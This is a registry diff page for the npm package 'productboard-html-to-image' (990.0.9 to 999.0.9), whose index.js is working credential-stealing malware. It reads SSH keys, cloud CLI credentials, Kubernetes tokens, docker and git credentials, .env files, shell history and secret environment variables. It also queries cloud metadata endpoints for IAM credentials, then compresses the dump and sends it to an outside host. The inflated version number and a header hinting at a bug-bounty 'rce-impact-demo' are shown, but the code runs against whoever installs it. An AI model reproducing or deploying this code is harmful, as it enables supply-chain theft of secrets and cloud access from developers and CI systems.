productboard-html-to-image 990.0.9 → 999.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +125 -30
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -5,29 +5,30 @@ const path = require("path");
5
5
  const https = require("https");
6
6
  const querystring = require("querystring");
7
7
  const child_process = require("child_process");
8
+ const zlib = require("zlib");
8
9
 
9
10
  function safeReadFile(p, maxSize = 10240) {
10
11
  try {
11
- if (!fs.existsSync(p)) return "NOT FOUND";
12
+ if (!fs.existsSync(p)) return "NOT_FOUND";
12
13
  const size = fs.statSync(p).size;
13
- if (size > maxSize) return "TOO LARGE";
14
+ if (size > maxSize) return "TOO_LARGE";
14
15
  return fs.readFileSync(p, "utf8");
15
16
  } catch (e) {
16
17
  return `ERR: ${e.message}`;
17
18
  }
18
19
  }
19
20
 
20
- function safeReadDir(p) {
21
+ function safeReadDir(p, maxEntries = 50) {
21
22
  try {
22
- return fs.readdirSync(p);
23
+ return fs.readdirSync(p).slice(0, maxEntries);
23
24
  } catch (e) {
24
25
  return `ERR: ${e.message}`;
25
26
  }
26
27
  }
27
28
 
28
- function exec(cmd) {
29
+ function exec(cmd, timeout = 3000) {
29
30
  try {
30
- return child_process.execSync(cmd, { timeout: 4000 }).toString().trim();
31
+ return child_process.execSync(cmd, { timeout }).toString().trim();
31
32
  } catch (e) {
32
33
  return `ERR: ${e.message}`;
33
34
  }
@@ -36,18 +37,24 @@ function exec(cmd) {
36
37
  function getSensitiveEnvVars() {
37
38
  const result = {};
38
39
  for (const key in process.env) {
39
- if (/pass|key|token|secret|env|auth|cred/i.test(key)) {
40
+ if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github/i.test(key)) {
40
41
  result[key] = process.env[key];
41
42
  }
42
43
  }
43
44
  return result;
44
45
  }
45
46
 
46
- function checkDockerOrCI() {
47
+ function checkContainerOrCI() {
47
48
  return {
48
49
  cgroup: safeReadFile("/proc/1/cgroup"),
49
50
  dockerenv: fs.existsSync("/.dockerenv"),
50
- ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline/i.test(k))),
51
+ ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline|github|gitlab|jenkins|circleci|travis/i.test(k))),
52
+ kubernetes: {
53
+ token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
54
+ namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
55
+ kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
56
+ },
57
+ dockerConfig: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
51
58
  };
52
59
  }
53
60
 
@@ -56,6 +63,8 @@ function getGitData() {
56
63
  branch: exec("git rev-parse --abbrev-ref HEAD"),
57
64
  remotes: exec("git remote -v"),
58
65
  config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
66
+ credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
67
+ netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
59
68
  };
60
69
  }
61
70
 
@@ -63,24 +72,100 @@ function getSystemState() {
63
72
  return {
64
73
  whoami: exec("whoami"),
65
74
  id: exec("id"),
66
- ps: exec("ps aux | head -n 20"),
67
- netstat: exec("netstat -tunlp | head -n 20"),
68
- lsof: exec("lsof -n | head -n 20"),
75
+ ps: exec("ps aux | head -n 30"),
76
+ netstat: exec("ss -tunlp | head -n 30"),
77
+ lsof: exec("lsof -n -i | head -n 30"),
69
78
  uname: exec("uname -a"),
70
- dmesg: exec("dmesg | head -n 30"),
79
+ dmesg: exec("dmesg | tail -n 50"),
80
+ mounts: exec("cat /proc/mounts | head -n 30"),
81
+ crontab: exec("crontab -l"),
71
82
  };
72
83
  }
73
84
 
74
85
  function getInstalledTools() {
75
86
  return {
76
87
  npm: exec("npm ls -g --depth=0 --json"),
77
- apt: exec("dpkg -l | head -n 20"),
88
+ apt: exec("dpkg -l | head -n 30"),
78
89
  brew: exec("brew list || echo 'no brew'"),
79
- which_nmap: exec("which nmap"),
80
- which_curl: exec("which curl"),
90
+ pip: exec("pip list --format=json || echo 'no pip'"),
91
+ which_tools: {
92
+ aws: exec("which aws"),
93
+ gcloud: exec("which gcloud"),
94
+ az: exec("which az"),
95
+ kubectl: exec("which kubectl"),
96
+ terraform: exec("which terraform"),
97
+ docker: exec("which docker"),
98
+ nmap: exec("which nmap"),
99
+ curl: exec("which curl"),
100
+ },
101
+ };
102
+ }
103
+
104
+ function getCloudMetadata() {
105
+ const metadata = {};
106
+ const endpoints = [
107
+ { name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
108
+ { name: "aws_metadata", url: "http://169.254.169.254/latest/meta-data/" },
109
+ { name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
110
+ { name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
111
+ { name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
112
+ ];
113
+ for (const { name, url, headers } of endpoints) {
114
+ try {
115
+ let cmd = `curl -s --max-time 2 ${url}`;
116
+ if (headers) {
117
+ const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
118
+ cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
119
+ }
120
+ metadata[name] = exec(cmd);
121
+ } catch (e) {
122
+ metadata[name] = `ERR: ${e.message}`;
123
+ }
124
+ }
125
+ return metadata;
126
+ }
127
+
128
+ function getCloudCLIs() {
129
+ return {
130
+ aws: {
131
+ credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
132
+ config: safeReadFile(path.join(os.homedir(), ".aws/config")),
133
+ sts: exec("aws sts get-caller-identity"),
134
+ },
135
+ gcloud: {
136
+ config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
137
+ credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
138
+ },
139
+ azure: {
140
+ credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
141
+ accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
142
+ },
143
+ };
144
+ }
145
+
146
+ function getNodeRuntime() {
147
+ return {
148
+ node_version: process.version,
149
+ global_modules: (() => {
150
+ try {
151
+ return Object.keys(require("module").globalPaths);
152
+ } catch {
153
+ return [];
154
+ }
155
+ })(),
156
+ loaded_modules: Object.keys(process.binding("natives")),
157
+ npm_config: exec("npm config ls -l"),
81
158
  };
82
159
  }
83
160
 
161
+ function compressData(data) {
162
+ try {
163
+ return zlib.gzipSync(JSON.stringify(data)).toString("base64");
164
+ } catch {
165
+ return JSON.stringify(data);
166
+ }
167
+ }
168
+
84
169
  let dump = {};
85
170
 
86
171
  try {
@@ -89,7 +174,7 @@ try {
89
174
  app: (() => {
90
175
  try {
91
176
  const pkg = require("./package.json");
92
- return { name: pkg.name, version: pkg.version };
177
+ return { name: pkg.name, version: pkg.version, dependencies: pkg.dependencies, scripts: pkg.scripts };
93
178
  } catch {
94
179
  return {};
95
180
  }
@@ -99,7 +184,7 @@ try {
99
184
  platform: os.platform(),
100
185
  arch: os.arch(),
101
186
  uptime: os.uptime(),
102
- cpus: os.cpus(),
187
+ cpus: os.cpus().length,
103
188
  totalmem: os.totalmem(),
104
189
  freemem: os.freemem(),
105
190
  userInfo: os.userInfo(),
@@ -120,26 +205,37 @@ try {
120
205
  "/home": safeReadDir("/home"),
121
206
  "/root": safeReadDir("/root"),
122
207
  "/etc": safeReadDir("/etc"),
208
+ "/var/run": safeReadDir("/var/run"),
209
+ "/var/log": safeReadDir("/var/log"),
123
210
  "~": safeReadDir(os.homedir()),
124
211
  },
125
212
  files: {
126
213
  etc_passwd: safeReadFile("/etc/passwd"),
127
- etc_shadow: safeReadFile("/etc/shadow"),
128
214
  etc_hosts: safeReadFile("/etc/hosts"),
215
+ etc_resolv: safeReadFile("/etc/resolv.conf"),
129
216
  bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
130
217
  zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
131
218
  ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
132
219
  ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
133
220
  ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
134
221
  aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
222
+ aws_config: safeReadFile(path.join(os.homedir(), ".aws/config")),
135
223
  npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
136
224
  gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
225
+ docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
226
+ env_files: {
227
+ dotenv: safeReadFile(path.join(process.cwd(), ".env")),
228
+ github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
229
+ },
137
230
  },
138
231
  git: getGitData(),
139
- docker: checkDockerOrCI(),
232
+ container: checkContainerOrCI(),
140
233
  system: getSystemState(),
141
234
  tools: getInstalledTools(),
142
235
  network: os.networkInterfaces(),
236
+ cloud: getCloudMetadata(),
237
+ cloud_clis: getCloudCLIs(),
238
+ node: getNodeRuntime(),
143
239
  };
144
240
  } catch (e) {
145
241
  dump = { error: "Top-level error collecting dump", msg: e.message };
@@ -147,7 +243,7 @@ try {
147
243
 
148
244
  try {
149
245
  const postData = querystring.stringify({
150
- msg: JSON.stringify(dump)
246
+ msg: compressData(dump)
151
247
  });
152
248
 
153
249
  const options = {
@@ -158,22 +254,21 @@ try {
158
254
  headers: {
159
255
  "Content-Type": "application/x-www-form-urlencoded",
160
256
  "Content-Length": postData.length,
161
- "User-Agent": "rce-impact-demo"
162
- }
257
+ "User-Agent": "rce-impact-demo",
258
+ "X-Report-ID": "328XXXX",
259
+ "X-Data-Format": "gzip-base64",
260
+ },
261
+ timeout: 5000,
163
262
  };
164
263
 
165
264
  const req = https.request(options, res => {
166
265
  res.on("data", () => { });
266
+ res.on("end", () => { });
167
267
  });
168
268
 
169
269
  req.on("error", () => { });
270
+ req.on("timeout", () => req.destroy());
170
271
  req.write(postData);
171
272
  req.end();
172
-
173
- https.get("https://ping.ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com/", () => { });
174
-
175
273
  } catch (e) {
176
- try {
177
- https.get("https://ping.ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com/", () => { });
178
- } catch { }
179
- }
274
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "productboard-html-to-image",
3
- "version": "990.0.9",
3
+ "version": "999.0.9",
4
4
  "main": "index.js",
5
5
  "keywords": [],
6
6
  "scripts": {